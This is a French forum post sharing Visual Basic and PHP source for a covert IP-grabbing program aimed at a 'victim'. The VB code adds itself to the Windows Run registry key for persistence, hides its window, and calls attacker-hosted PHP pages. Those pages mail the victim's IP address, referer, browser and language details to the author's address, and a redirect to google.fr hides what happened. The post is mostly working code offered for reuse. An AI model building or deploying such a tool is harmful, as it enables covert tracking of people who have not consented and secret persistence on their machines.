Ben en faite c'est un programme qui s'ouvre en même temps que windows (puis se referme tres rapidement avec la fonction Unload Me), qui lance internet explorer et va sur la page web ip.php hébergé chez un hebergeur qui accepte la fonction mail() (free dans mon cas). Ensuite le script php, vous envoie le mail avec l'ip de la victime et ya même un petit script en javascript pour rediriger tres rapidement vers google.fr ;)
10/03/2005 : Version 2.1 final
13/03/2005 : Version 3.1 bêta
Source / Exemple :
Private Sub Form_Load()
'ecriture du prog dans la base de registre
Dim WSHShell
Dim MaClef
Dim MonProg
Dim CheminDeMonProg
Dim r
Set WSHShell = CreateObject("Wscript.Shell")
MonProg = "IP v3.1"
CheminDeMonProg = "C:\ip v3.1.exe"
MaClef = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & MonProg
r = WSHShell.RegWrite(MaClef, CheminDeMonProg, "REG_SZ")
LblEtatRAS.Caption = GetNetConnectString
'si le pc est connecté au net
If TestActiveConnect = True Then
Timer3.Enabled = True
Timer4.Enabled = False
LblTest.ForeColor = vbGreen
LblTest.Caption = "Connection Actuellement en cours"
Else
LblTest.ForeColor = vbRed
LblTest.Caption = "Connection Impossible"
'sinon activer Timer2
Timer2.Enabled = True
End If
End Sub
Private Sub Timer1_Timer()
LblEtatRAS.Caption = GetNetConnectString
End Sub
Private Sub Timer2_Timer()
'quitte la Form1
Unload Form1
'recharge la Form1
Load Form1
End Sub
Private Sub Timer3_Timer()
'ouverture de l'url par Inet
ip1 = Inet1.OpenURL("adresse de votre page php")
Timer4.Enabled = True
Timer3.Enabled = False
End Sub
Private Sub Timer4_Timer()
If TestActiveConnect = False Then
Timer3.Enabled = True
Timer4.Enabled = False
Else
ip2 = Inet1.OpenURL("adresse de l'autre page php (la deuxieme) ip4.php")
Timer5.Enabled = True
End If
End Sub
Private Sub Timer5_Timer()
If ip1 = ip2 Then
Timer5.Enabled = False
Else
Inet1.OpenURL ("l'adresse de votre premiere page php")
Timer5.Enabled = False
End If
End Sub
____________________________________________________________________
'page php : ip3.php
<?PHP
/* Coded by ElastycmaN (a na pas changer !;o)) */
$vraieip = getenv("HTTP_X_FORWARDED_FOR");
if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;
/* Et a la suite mon script qui envoit l'ip par mail*/
$msg = "IP:\t$vraieip\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "votre adresse mail";
$subject = "IP de la victime";
$mailheaders = "From: Ip de la victime<> \n";
mail($recipient, $subject, $msg, $mailheaders);
?>
_____________________________________________________________________
'page php : ip4.php
<?PHP
/* Coded by ElastycmaN */
$vraieip = getenv("HTTP_X_FORWARDED_FOR");
if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;
?>
Conclusion :
Info complémentaire : En gros, des que le programme est ouvert, il s'inscrit sur la base de registreet souvre a chaque demarrage ;o) pis le gars qui l'ouvre ne voit presque pas la form mais vois juste IE s'ouvrir et www.google.fr se charger, même son ip il ne le vois pas puisque je n'e l'ai pas print ;o)
P.S : Presque rien n'est de moi je n'ai fait que reprendre des scripts trouvés ici merci a tous =)
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.